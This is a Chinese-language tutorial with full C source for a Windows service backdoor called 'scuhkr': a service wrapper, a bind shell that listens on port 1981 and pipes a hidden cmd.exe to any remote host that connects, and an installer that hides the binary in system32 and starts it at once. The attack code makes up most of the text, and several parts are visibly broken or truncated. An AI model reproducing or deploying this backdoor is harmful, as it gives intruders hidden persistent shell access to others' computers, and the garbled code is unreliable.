標籤:
編程實現
一個完整的服務分為安裝服務程式,主體服務程式和卸載服務程式。我們先來寫服務的主體部分,範例程式碼如下:
void main()
{
SERVICE_TABLE_ENTRY ServiceTable[] =
{
{"scuhkr", BDServiceMain},
{NULL, NULL} //"哨兵"
};
//串連到服務控制管理員
StartServiceCtrlDispatcher(ServiceTable);
}
路人甲:什麼,就這麼短?你想侮辱廣大鳥兒的智慧?呵呵,先別急,聽我慢慢道來:上面代碼中,我們先給出了一個SERVICE_TABLE_ENTRY結構數組,每個成員描述了調用進程提供的服務,這裡我們只安裝了一個服務名為Scuhkr的服務,後面的BDServiceMain()我們稱之為服務主函數,通過回調該函數提供了服務入口地址,它原形的參數必須定義成如下形式:
VOID WINAPI BDServiceMain(
DWORD dwArgc, //lpszArgv參數個數
LPTSTR* lpszArgv //該數組第一個的參數指定了服務名,可以在後面被
StartService()來調用
);
SERVICE_TABLE_ENTRY結構數組要求最後一個成員組都為NULL,我們稱之為“哨兵”(所有值都為NULL),表示該服務表末尾。一個服務啟動後,馬上調用StartServiceCtrlDispatcher()通知服務控製程序服務正在執行,並提供服務函數的地址。StartServiceCtrlDispatcher()只需要一個至少有兩SERVICE_TABLE_ENTRY結構的數組,它為每個服務啟動一個線程,一直等到它們結束才返回。
本程式只提供了一個服務函數BDServiceMain(),下面我們來下完成這個函數的功能,範例程式碼如下:
void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
DWORD dwThreadId; //存放線程ID
//通過RegisterServiceCtrlHandler()與服務控製程序建立一個通訊的協議。
//BDHandler()是我們的服務控製程序,它被可以被用來開始,暫停,恢複,停止服務等控制操作
if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr",
BDHandler)))
return;
//表示該服務私人
ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
//初始化服務,正在開始
ServiceStatus.dwCurrentState = SERVICE_START_PENDING; //
//服務可以接受的請求,這裡我們只接受停止服務要求和暫停恢複請求
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
| SERVICE_ACCEPT_PAUSE_CONTINUE;
//下面幾個一般我們不大關心,全為0
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
//必須調用SetServiceStatus()來響應服務控製程序的每次請求通知
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//開始運行服務
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//我們用一個事件對象來控制服務的同步
if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL)))
return;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//開線程來啟動我們的後門程式
if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0, &dwThreadId)))
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
WaitForSingleObject(hEvent, INFINITE);
CloseHandle(hThread);
ExitThread(dwThreadId);
CloseHandle(hEvent);
return;
}
上面我們調用了一個服務控制函數BDHandler(),由於只是簡單的介紹,我們這裡只處理服務停止控制請求的情況,其它暫停、恢複等功能,讀者可以自己完善。下面是對BDHandler()的實現代碼:
void WINAPI BDHandler(DWORD dwControl)
{
switch(dwControl)
{
case SERVICE_CONTROL_STOP:
//等待後門程式的停止
ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//設時間為激髮狀態,等待下一個事件的到來
SetEvent(hEvent);
ServiceStatus.dwCurrentState = SERVICE_STOP;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
//停止
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
break;
default:
break;
}
}
服務控制函數搞定了,下面就剩下主體的後門函數了。本程式借用了N多前輩翻寫過了無數次的後門程式,通過開一個連接埠監聽,允許任何與該連接埠串連的遠程主機建立信任連接,並提供一個互動式Shell。為了代碼清晰,我去掉了錯誤檢查,整個過程很簡單,也就不多解釋了,黑防上都有N期介紹了,代碼如下:
DWORD WINAPI MainFn(LPVOID lpParam)
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;
WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(1981); //監聽連接埠
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 2);
varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
dowhile((varA || varB) == 0);
GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE; //隱藏控制台視窗
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);
strcat(szAPP,"\\cmd.exe");
//開cmd進程
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &startinfo, &processinfo) == 0)
{
printf ("CreateProcess Error!\n");
return -1;
}
while (true)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
return 0;
}
//線程函數A, 通過管道A來從控制端接受輸入,然後寫入被控制端輸入端
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);
varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);
printf("%s\n", recv_buff);
WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
}
return 0;
}
//線程函數B, 通過管道B來從被控制端接受輸入,然後寫到控制端輸出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);
varB = 1;
while (true)
return 0;
}
安裝服務的部分其實很簡單,範例程式碼如下:
// InstallService.cpp
void main()
{
SC_HANDLE hSCManager = NULL, //服務控制管理員控制代碼
hService = NULL; //服務控制代碼
char szSysPath[MAX_PATH]=,
szExePath[MAX_PATH]=; //我們要把我們後台執行的程式放在這裡,一般就是在\\admin$\\system32\裡,隱蔽性高
if ((hSCManager = OpenSCManager(NULL, //NULL表明是本地主機
NULL, // 要開啟的服務控制管理資料庫,預設為空白
SC_MANAGER_CREATE_SERVICE//建立許可權
))==NULL)
{
pirntf("OpenSCManager failed\n");
return;
}
GetSystemDirectory(szSysPath, MAX_PATH); //獲得系統目錄,也就是system32裡面,隱蔽起來
strcpy(szExePath, szSysPath);
strcat(szExePath, "scuhkr.exe"); //應用程式絕對路徑
if ((hService=CreateService(hSCManager, //指向服務控制管理資料庫的控制代碼
"scuhkr", //服務名
"scuhkr backdoor service", //顯示用的服務名
SERVICE_ALL_ACCESS, //所有存取權限
SERVICE_WIN32_OWN_PROCESS, //私人類型
SERVICE_DEMAND_START, //自啟動類型 SERVICE_ERROR_IGNORE, //忽略錯誤處理
szExePath, //應用程式路徑
NULL,
NULL,
NULL,
NULL,
NULL)) == NULL)
{
printf("%d\n", GetLastError());
return;
}
//讓服務馬上運行。萬一是個伺服器,10天半個月不重啟,豈不是沒搞頭?
if(StartService(hService, 0, NULL) == FALSE)
{
printf("StartService failed: %d\n", GetLastError());
return;
}
printf(“Install service successfully\n ”);
CloseServiceHandle(hService); //關閉服務控制代碼
CloseServiceHandle(hSCManager); //關閉服務管理資料庫控制代碼
}
Ok,一切都寫完了,我們在本機上測試一下,先把前面的服務主體程式Scuhkr.exe拷貝到系統目錄\system32下(如果需要程式自動實現自拷貝的,可以通過CopyFile()來實現,確實不行就去找WinShell的原始碼來看看吧),然後執行InstallServcie.exe。為了看我們是否安裝成功,有兩個辦法,一是通過控制台->管理工具->服務,二是利用控制台下系統內建的Sc.exe工具,比如:“sc.exe qc rpcss”,2所示。
圖2
windows服務開發用到的主要函數詳解參考